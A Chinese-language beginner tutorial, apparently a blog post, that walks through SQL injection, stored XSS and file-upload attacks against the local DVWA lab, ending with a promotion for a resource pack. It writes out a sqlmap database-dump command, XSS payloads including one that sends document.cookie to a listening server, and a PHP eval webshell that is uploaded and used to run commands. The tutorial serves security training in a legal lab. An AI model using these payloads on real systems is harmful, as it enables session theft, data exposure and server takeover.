很多新手想学 Web 漏洞挖掘,却卡在 “不知道从哪下手”—— 看了很多原理文章,却连 “怎么找测试目标”“工具怎么点” 都不清楚。其实挖第一个 Web 漏洞没那么难,不需要高深技术,只要跟着 “靶场部署→工具配置→漏洞测试→验证利用” 的步骤走,1 天内就能挖出第一个 SQL 注入或 XSS 漏洞。这篇指南全程用 “傻瓜式步骤”,连工具按钮点哪里都标清楚,新手跟着做就能落地。
一、准备工作:20 分钟搞定 “靶场 + 工具”(新手无压力)
挖漏洞前不用搭复杂环境,先准备 “1 个靶场 + 2 个工具”,都是免费开源的,电脑配置再低也能跑。
1. 靶场:用 DVWA(新手最友好的 Web 漏洞环境)
作用:模拟有漏洞的 Web 网站,包含 SQL 注入、XSS、文件上传等漏洞,安全合法,随便测不用怕违法。
部署步骤(Windows 系统为例):
① 下载 “PHPStudy”(小皮面板):官网搜 “PHPStudy”,下载 Windows 版,安装后打开,点击 “启动” Apache 和 MySQL(端口默认 80 和 3306,不用改);
② 下载 DVWA 压缩包:GitHub 搜 “DVWA”,下载 ZIP 包,解压到 PHPStudy 的 “www” 目录(比如
D:phpstudy_proWWWdvwa
);③ 初始化配置:打开浏览器输入
http://127.0.0.1/dvwa
,点击 “Create / Reset Database”,输入默认账号admin
、密码password
,登录成功就进入靶场了;④ 关键设置:登录后点击右上角 “DVWA Security”,把安全等级改成 “Low”(新手先从最低等级开始,漏洞最明显)。
2. 工具 1:Burp Suite(抓包改包必备)
作用:拦截浏览器发送的请求,修改参数测试漏洞(比如改 SQL 注入的 ID 参数、XSS 的评论内容)。
新手配置步骤:
① 下载社区版:官网(portswigger.net)下载 Burp Suite Community Edition,安装后打开,默认点 “Next” 到主界面;
② 配置浏览器代理:打开 Chrome 浏览器,设置→高级→系统→打开您的计算机的代理设置,手动设置代理 “地址 127.0.0.1,端口 8080”(和 Burp 默认代理一致);
③ 开启拦截:回到 Burp,点击 “Proxy”→“Intercept”,确保 “Intercept is on”(拦截开关打开,变绿色),此时浏览器访问网页会卡住,因为请求被 Burp 拦截了。
3. 工具 2:sqlmap(SQL 注入自动化工具)
作用:自动检测和利用 SQL 注入漏洞,不用手动构造复杂 Payload,新手也能快速出结果。
安装步骤:
① 下载 Python:官网下载 Python 3.8 + 版本,安装时勾选 “Add Python to PATH”(添加到环境变量,否则命令行用不了);
② 下载 sqlmap:GitHub 搜 “sqlmap”,下载 ZIP 包,解压到任意目录(比如
D:sqlmap
);③ 测试是否能用:打开命令提示符(CMD),输入
cd D:sqlmap
,再输入python ``sqlmap.py`` -h
,出现帮助文档就说明安装成功。
二、实战 1:挖第一个 SQL 注入漏洞(最容易出结果)
SQL 注入是新手最容易挖到的漏洞,我们以 DVWA 的 “SQL Injection” 模块为例,一步步找到并利用漏洞。
步骤 1:找到测试点(确定在哪测)
登录 DVWA 后,左侧菜单点击 “SQL Injection”,进入 “SQL 注入测试页面”,页面有个输入框,提示 “Enter ID to retrieve user details”(输入 ID 查询用户信息);
先输入
1
,点击 “Submit”,页面显示 “User ID: 1,First name: admin,Surname: admin”,说明输入的 ID 参数会被后端用来查询数据库,这就是我们的测试点。
步骤 2:手动测试是否有注入(用 Burp 抓包改参数)
① 浏览器输入
1
,点击 “Submit”,此时请求被 Burp 拦截,回到 Burp 主界面,能看到拦截的请求内容(GET 请求,参数id=1
);② 修改参数:在 Burp 的 “Request” 面板,找到
id=1
,改成id=1'
(加个单引号),点击 “Forward”(放行请求);③ 看结果:浏览器页面显示 “SQL Error: You have an error in your SQL syntax...”(SQL 语法错误),说明后端直接把
id=1'
拼接到 SQL 语句中,导致语法错误 ——这证明存在 SQL 注入漏洞!
步骤 3:用 sqlmap 自动获取数据库数据
① 复制请求 URL:回到 DVWA 的 SQL Injection 页面,输入
1
提交后,地址栏 URL 是http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
,复制这个 URL;② 执行 sqlmap 命令:打开 CMD,进入 sqlmap 目录(
cd D:sqlmap
),输入命令:
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=你的PHPSESSID值" --dbs
关键说明: --cookie
参数必须加!因为 DVWA 需要登录态,PHPSESSID 从浏览器 Cookie 中找(Chrome 按 F12→Application→Cookies→127.0.0.1→PHPSESSID 的值);--dbs
表示 “获取所有数据库名称”;
③ 看结果:sqlmap 会自动检测,最后列出数据库列表,其中 “dvwa” 就是我们要的数据库,说明漏洞利用成功,已经拿到数据库信息了!
三、实战 2:挖第一个 XSS 漏洞(前端漏洞,直观易见)
XSS 漏洞的特点是 “注入脚本会弹窗”,新手能直观看到结果,很有成就感,我们以 DVWA 的 “Stored XSS”(存储型 XSS)模块为例。
步骤 1:找到测试点(评论提交功能)
左侧菜单点击 “Stored XSS”,进入评论页面,有 “Name”(姓名)和 “Message”(留言)两个输入框,提交后评论会显示在下方,这就是测试点(输入的内容会被存储并显示,适合测存储型 XSS)。
步骤 2:注入 XSS 脚本(直接在页面输入)
① 因为安全等级是 “Low”,不用绕过滤,直接在 “Name” 输入
test
,“Message” 输入<script>alert('我挖到XSS漏洞了')</script>
,点击 “Sign Guestbook” 提交;② 看结果:提交后页面立刻弹出 “我挖到 XSS 漏洞了” 的弹窗,下方评论区也能看到我们输入的脚本 ——这证明存在存储型 XSS 漏洞!而且刷新页面后弹窗还会出现(存储型的特点,脚本存在数据库里)。
步骤 3:进阶测试(模拟窃取 Cookie)
真实场景中,XSS 漏洞常用来窃取登录 Cookie,我们来模拟一下:
① 把 “Message” 改成
<script>alert(document.cookie)</script>
,提交后弹窗会显示当前用户的 Cookie(包含 PHPSESSID,有了它就能伪造登录);② 若想把 Cookie 发给自己,可搭建一个简单的 Web 服务器(用 Python):打开 CMD,输入
python -m http.server 8000
,然后把脚本改成<script>document.location.href='``http://127.0.0.1:8000/?cookie=``'+document.cookie</script>
,提交后 CMD 会显示 Cookie 被发送过来(类似黑客窃取数据的过程)。
四、实战 3:挖第一个文件上传漏洞(直接拿服务器权限)
文件上传漏洞能上传 “恶意脚本(webshell)”,访问脚本就能控制服务器,我们以 DVWA 的 “File Upload” 模块为例。
步骤 1:制作 webshell 脚本(简单一句话)
新建一个文本文档,输入
<?php @eval($_POST['cmd']);?>
(这是 PHP 一句话 webshell,cmd
是密码,后续用工具连接需要);保存文件:文件名改成
shell.php
,保存类型选 “所有文件”,保存到桌面(比如C:UsersXXXDesktopshell.php
)。
步骤 2:上传测试(看是否能成功)
左侧菜单点击 “File Upload”,点击 “Choose File”,选择刚做的
shell.php
,点击 “Upload”;看结果:页面显示 “Your file has been uploaded!”,下方有文件路径(比如
http://127.0.0.1/dvwa/hackable/uploads/shell.php
)——上传成功,漏洞存在!
步骤 3:连接 webshell(控制服务器)
用 “蚁剑” 工具连接(之前福利包有,没装的话官网下载):
① 打开蚁剑,点击左上角 “+” 号,URL 填上传的 webshell 路径(
http://127.0.0.1/dvwa/hackable/uploads/shell.php
),密码填cmd
,其他默认;② 点击 “测试连接”,提示 “连接成功” 后点击 “添加”;
③ 双击左侧连接,进入 “命令执行” 界面,输入
whoami
,能看到服务器当前用户(比如nt authoritysystem
,最高权限),输入dir
能看到服务器文件 ——成功控制服务器!
五、新手必看:挖漏洞的 3 个关键原则(避免踩坑)
只在合法环境测试:绝对不能找公网网站练手(比如公司官网、别人的博客),哪怕只是测一下也可能违法,用 DVWA、SQLi-Labs 等靶场,或通过企业 SRC、众测平台接授权项目;
先手动再工具:别一上来就用 sqlmap 扫,先手动测试(比如加单引号看报错),理解漏洞原理后再用工具提升效率,否则永远只会 “点按钮”,遇到工具扫不出来的漏洞就傻眼;
记录每一步操作:挖漏洞时截图、保存命令和结果,最后整理成报告(像之前实战中的步骤一样),既能复盘学习,以后找工作时也能作为实战案例,比空泛的 “会 Web 漏洞挖掘” 更有说服力。
【新手福利:Web 漏洞挖掘实战包】
为帮你快速进阶,整理了 “实战必备资源包”,包含:
✅ 靶场全家桶:DVWA、SQLi-Labs、Upload-Labs 的部署视频教程 + 通关攻略(每关漏洞怎么测、怎么利用都标清楚);
✅ 工具实操手册:Burp Suite 抓包改包、sqlmap 命令、蚁剑连接的图文手册(含界面截图,标清点击哪里);
✅ 漏洞报告模板:SQL 注入、XSS、文件上传漏洞的标准化报告模板,填空就能用,包含复现步骤、危害分析、修复建议;
✅ 新手学习计划:7 天入门计划(每天 1 小时,从靶场部署到挖 3 个漏洞),附每日任务清单。
👉 领取方式:关注公众号【网络安全学习室】,回复“黑客”,获取百度网盘链接,限前 300 名,链接 7 天有效,领完及时保存!
最后:挖第一个漏洞只是开始
当你在 DVWA 里挖出第一个 SQL 注入或 XSS 漏洞时,会发现 Web 漏洞挖掘没那么神秘 —— 它本质就是 “找到用户输入的地方,测试后端是否处理不当”。接下来可以把 DVWA 安全等级改成 “Medium”“High”,挑战更复杂的漏洞(比如需要绕过滤的 SQL 注入),再尝试其他靶场(如 VulnStack),逐步从 “挖简单漏洞” 到 “挖企业真实漏洞”。
记住:所有网安大神都是从 “挖第一个漏洞” 开始的,你今天迈出的这一步,已经比很多只看理论不行动的人领先了!
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...